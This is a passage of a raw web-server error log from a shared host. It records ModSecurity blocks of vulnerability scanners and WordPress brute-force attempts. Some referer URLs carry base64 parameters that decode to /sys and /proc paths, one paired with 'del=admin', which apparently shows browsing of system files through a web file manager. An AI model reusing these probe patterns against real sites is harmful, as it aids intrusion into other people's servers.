"/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetchbody_variation1.phpt"] [unique_id "ai3yo9yTkdrNlD40tSGgYgAAAGY"] [Sat Jun 13 18:15:31.253898 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.39:62212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:31.254348 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.39:62212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:31.321742 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.34:31078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:31.322192 2026] [access_compat:error] [pid 646876:tid 646889] [remote 57.141.14.34:31078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:31.351253 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9wb3dlcg== [Sat Jun 13 18:15:31.351723 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0Ny9wb3dlcg== [Sat Jun 13 18:15:31.654126 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.75:37760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:31.654560 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.75:37760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:31.693168 2026] [security2:error] [pid 648189:tid 648236] [remote 17.241.75.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yo1WSojQL4F7upKBVFAAAzQ8"] [Sat Jun 13 18:15:31.732538 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.21:49853] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:31.732941 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.21:49853] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:31.773709 2026] [security2:error] [pid 648189:tid 648250] [remote 220.181.108.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yo1WSojQL4F7upKBVFwAAkh0"] [Sat Jun 13 18:15:31.789475 2026] [lsapi:warn] [pid 646876:tid 646933] [remote 40.77.167.43:23433] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:15:31.789510 2026] [lsapi:warn] [pid 646876:tid 646933] [remote 40.77.167.43:23433] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:15:31.875073 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:31.875505 2026] [access_compat:error] [pid 646876:tid 646932] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:32.048800 2026] [security2:error] [pid 646876:tid 647048] [client 210.217.96.217:1704] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3ypNyTkdrNlD40tSGgfQAAACg"] [Sat Jun 13 18:15:32.048978 2026] [security2:error] [pid 646876:tid 647048] [client 210.217.96.217:1704] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3ypNyTkdrNlD40tSGgfQAAACg"] [Sat Jun 13 18:15:32.068577 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.75:37772] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:32.069029 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.75:37772] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:32.112114 2026] [security2:error] [pid 646876:tid 646919] [remote 210.211.99.176:41436] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "thomnco.com"] [uri "/wp-login.php"] [unique_id "ai3ypNyTkdrNlD40tSGgfgAATCg"] [Sat Jun 13 18:15:32.203609 2026] [security2:error] [pid 648189:tid 648303] [remote 17.22.237.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ypFWSojQL4F7upKBVIAAA0FE"] [Sat Jun 13 18:15:32.302995 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.101:46644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:32.303348 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.101:46644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:32.424277 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:15:32.424726 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:15:32.600314 2026] [security2:error] [pid 646876:tid 647000] [remote 17.241.227.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ypNyTkdrNlD40tSGgjAAAdXk"] [Sat Jun 13 18:15:32.896667 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.77:52607] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:32.897116 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.77:52607] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:32.987284 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:15:32.987743 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:15:33.009755 2026] [access_compat:error] [pid 648189:tid 648279] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:33.010194 2026] [access_compat:error] [pid 648189:tid 648279] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:33.021309 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.66:43258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:33.021856 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.66:43258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:33.061084 2026] [security2:error] [pid 648189:tid 648254] [remote 17.22.253.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ypVWSojQL4F7upKBVMAAAvSA"] [Sat Jun 13 18:15:33.085526 2026] [security2:error] [pid 648189:tid 648304] [remote 17.246.15.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ypVWSojQL4F7upKBVMQAAt1I"] [Sat Jun 13 18:15:33.418624 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.95:20917] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:33.419089 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.95:20917] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:33.508786 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:15:33.509233 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:15:33.923622 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.44:56907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:33.923916 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.44:56907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:33.993650 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:15:33.994127 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:15:34.150866 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.30:34344] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:34.151323 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.30:34344] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:34.266339 2026] [security2:error] [pid 648189:tid 648285] [remote 17.246.15.114:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 114.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yplWSojQL4F7upKBVRwAAjD8"] [Sat Jun 13 18:15:34.284442 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.18:65508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:34.284825 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.18:65508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:34.414639 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.33:30941] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:34.415000 2026] [access_compat:error] [pid 648189:tid 648350] [remote 57.141.14.33:30941] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:34.551561 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:34.551986 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:34.889330 2026] [access_compat:error] [pid 648189:tid 648336] [remote 74.7.242.16:43790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=admin&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:15:34.889907 2026] [access_compat:error] [pid 648189:tid 648336] [remote 74.7.242.16:43790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=admin&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 